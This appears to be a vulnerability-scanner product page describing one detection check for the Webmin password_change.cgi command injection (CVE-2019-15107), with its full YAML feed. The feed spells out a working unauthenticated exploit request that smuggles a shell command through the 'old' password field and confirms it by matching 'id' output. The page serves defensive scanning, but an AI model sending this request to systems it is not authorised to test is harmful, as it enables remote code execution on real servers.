Webmin — 1 vulnerability check

noctis ships 1 vulnerability check for Webmin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Webmin password_change.cgi Unauthenticated RCE

CVECVE-2019-15107
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/webmin/CVE-2019-15107.yaml

Tests Webmin for the unauthenticated command injection in password_change.cgi. A pipe in the `old` password field is executed by the shell; the feed confirms RCE by running `id` and matching its output in the response body.

How noctis detects it

  1. HTTP(S) request POST /password_change.cgi with a crafted body
  2. Checks rce_resp.body for uid=\d+.*gid=\d+ → finding QoD 97: Unauthenticated RCE confirmed via password_change.cgi (`id` output): …

References:

Feed source — tests/vulnerabilities/webmin/CVE-2019-15107.yaml
# Webmin password_change.cgi Unauthenticated RCE — CVE-2019-15107
#
# Webmin 1.882–1.921 (with password-expiry enabled) passes the `old` parameter of
# /password_change.cgi to a shell unsanitised. An unauthenticated attacker injects a
# command with a pipe (`old=test|id`). No session is needed — the request carries the
# static pre-auth cookie Webmin's login form sets.
#
# Active check: POST /password_change.cgi, body `...expired=2&old=test|id...`, confirm
# RCE when the response is 200 and the body contains the `id` output (uid=.. gid=..). QoD 97.
uid: fb26f925-82d5-4fc9-970b-c537ffdc0dea
name: "Webmin password_change.cgi Unauthenticated RCE (CVE-2019-15107)"
description: |
  Tests Webmin for the unauthenticated command injection in password_change.cgi.
  A pipe in the `old` password field is executed by the shell; the feed confirms RCE
  by running `id` and matching its output in the response body.
cves: [CVE-2019-15107]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [webmin, rce, command-injection, unauthenticated, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-15107"
  - "https://www.webmin.com/security.html"
  - "https://www.rapid7.com/db/modules/exploit/linux/http/webmin_backdoor/"

steps:
  # Unauthenticated RCE probe — inject `id` via the `old` field of the expired-password form.
  - id: rce-probe
    action: http_request
    method: POST
    path: "/password_change.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Referer: "{{scheme}}://{{target_host}}:{{port}}/session_login.cgi"
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "redirect=1; testing=1; sid=x; sessiontest=1"
    body: "user=noctis&pam=&expired=2&old=test|id&new1=noctis1&new2=noctis1"
    store_as: rce_resp

  - id: rce-match
    action: match
    source: rce_resp.body
    # exact `id` output signature
    pattern: "uid=\\d+.*gid=\\d+"
    condition: "rce_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "Unauthenticated RCE confirmed via password_change.cgi (`id` output): {{rce_resp.body}}"
      stop: true

View these feeds on GitHub